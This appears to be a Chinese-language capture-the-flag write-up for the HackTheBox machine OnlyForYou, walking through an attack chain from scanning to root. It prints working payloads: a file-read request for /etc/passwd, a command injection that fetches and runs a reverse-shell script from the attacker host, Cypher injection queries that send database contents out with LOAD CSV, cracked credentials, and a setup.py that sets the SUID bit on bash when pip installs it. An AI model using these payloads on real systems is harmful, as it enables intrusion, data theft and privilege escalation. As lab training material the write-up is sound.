攻擊機:虛擬機器器kali。
靶機:OnlyForYou,htb網站:https://www.hackthebox.com/,靶機地址:https://app.hackthebox.com/machines/OnlyForYou。
知識點:DNS解析、程式碼審計、檔案包含、shell反彈、frp埠轉發、Neo4j注入漏洞、ngnix知識瞭解、md5解密、pip3 download提權。
簡單的記錄下通過的過程也是幫助自己梳理下整個流程:
一:資訊收集
1.nmap掃描
使用nmap對埠進行掃描,命令:sudo nmap --min-rate 10000 -p- 10.10.11.210,顯示開放了22埠、80埠,開啟了ssh服務、http服務。
對具體的服務資訊進行掃描,未發現可以利用的資訊,命令:sudo nmap -sT -sV -O -p 22,80,443 10.10.11.210。
2.DNS解析
請求:http://10.10.11.210,存取下WEB服務,發現跳轉到了http://only4you.htb/,因此我們需要進行下DNS解析,在/etc/hosts檔案中寫入:10.10.11.210 only4you.htb。
二:WEB資訊分析
1.原始碼資訊
在http://only4you.htb頁面的TEAM處發現一個beta產品,存取該產品時跳轉到了http://beta.only4you.htb/,因此重複DNS解析將其新增到/etc/hosts檔案中。
該頁面給我們提供了原始碼下載,將原始碼下載下來進行分析,發現對..與../進行了過濾,最後會返回image檔案的內容,因此這裡應該是存在檔案包含漏洞。除了原始碼外還有resize、convert功能,前者是上傳圖片並調整大小,後者是jpg與png相互轉換。
在http://beta.only4you.htb/頁面抓取封包修改請求方式為POST,修改後封包資訊如下,傳送該封包成功獲得/etc/passwd檔案的內容,發現可能存在賬戶john、neo4j、dev。
POST封包
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
image=/etc/passwd
2.檔案包含漏洞
前面在nmap掃描時已經發現在80埠開啟了nginx服務,因此我們讀取下nginx的組態檔,發現三個檔案和一個目錄:/var/log/nginx/access.log、/var/log/nginx/error.log、/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*。
依次檢視下幾個檔案,/var/log/nginx/access.log檔案中存放的是我們的存取紀錄檔,存取/var/log/nginx/error.log時未返回有用資訊,/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*會被攔截。後面查了下nginx設定,在/etc/nginx/sites-enabled/default檔案中發現網站的絕對路徑:/var/www/only4you.htb/。
嘗試請求下網站目錄下的檔案:app.py,發現form檔案,這裡注意下:status = sendmessage(email, subject, message, ip)。
讀取下form檔案,發現存在一個run命令,執行了郵箱名稱@之後的內容。因此這裡應該是存在一個命令執行漏洞。
三:獲取www-data許可權shell
後面嘗試進行命令執行發現返回資訊一直是未授權,就又對原始碼分析了一波,發現是因為status返回值為1,返回值為1是因為對上面圖片中返回的result驗證未通過,後來思考了以下,雖然驗證未通過但是既然返回了result那肯定是執行過命令了,因此我們嘗試直接進行shell反彈。步驟如下:
1.在kali中寫一個shell反彈檔案shell.sh,內容:bash -i >& /dev/tcp/10.10.14.18/6688 0>&1。
2.在kali開啟一個web服務,命令:python -m http.server。
3.在抓取的封包中修改post資料為:name=upfine&[email protected];curl 10.10.14.18:8000/shell.sh | bash&subject=112345&message=1asdf,然後傳送此請求,成功獲得shell許可權。
四:獲取john許可權shell
1.埠轉發
在www-data許可權的shell中經過一番查詢只確定了賬戶名稱:john、dev,未發現和密碼有關的資訊,然後在查詢埠時發現存在幾個開放的埠:3000、8001、3306、7474、7687等埠。
使用frp將這幾個埠的流量轉到到kali中,注意伺服器端與使用者端不要用反了,靶機用的是使用者端,可以參考我的這邊文章:https://www.cnblogs.com/upfine/p/17266632.html。幾個埠的存取情況依次如下:
2.Neo4j注入漏洞
在8001埠的登入框進行登入時發現使用:admin/admin可以成功登入。在該服務中的EMPLOYEES中發現存在搜尋功能,猜測可能存在注入漏洞。
請求7474埠的時候未返回頁面資訊,但是frp中先是的資訊已被佔用,因此猜測應該是資料庫類的服務在後端佔用,觀察請求頁面,雖然未返回資訊,但是標籤上告訴了我們是neo4j。查了下neo4j的介紹,發現是一個高效能的NOSQL圖形資料庫,前面我們猜測正確。
那就找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections。先嚐試獲取下版本號,發現確實存在注入漏洞。
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.18:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
然後獲取下表中的節點資訊,語句:1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.18:8000/?label='+label as l RETURN 0 as _0 //,獲得節點user、employee。
然後查詢下user節點的值,語句:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //,獲得兩個加密的密碼值:
#解密前
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#解密後
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You
3.獲取john許可權shell
使用獲得賬戶和密碼:john/ThisIs4You進行ssh登入,成功獲得shell許可權並讀取到第一個flag。
五:提權
檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,發現:/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz,意思是允許john使用者使用pip3 download 3000埠的壓縮檔案。
查詢下該情況的提權方式,在這裡:https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git下載demo檔案,然後修改setup.py檔案,在該目錄執行:python3 -m build,執行完之後會在生成一個dist目錄,該目錄下存在一個this_is_fine_wuzzi-0.0.1.tar.gz檔案,即是我們需要的檔案。
setup.py
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
使用john/ThisIs4You登入3000埠的Gogs服務進行檢視,但是Test倉庫顯示是有鎖的需要認證,那首先就需要對其進行解鎖設定,然後將檔案進行上傳。
上傳檔案後切執行:sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/src/master/this_is_fine_wuzzi-0.0.1.tar.gz,然後執行bash -p即可獲得root許可權並在root目錄下獲取到flag值。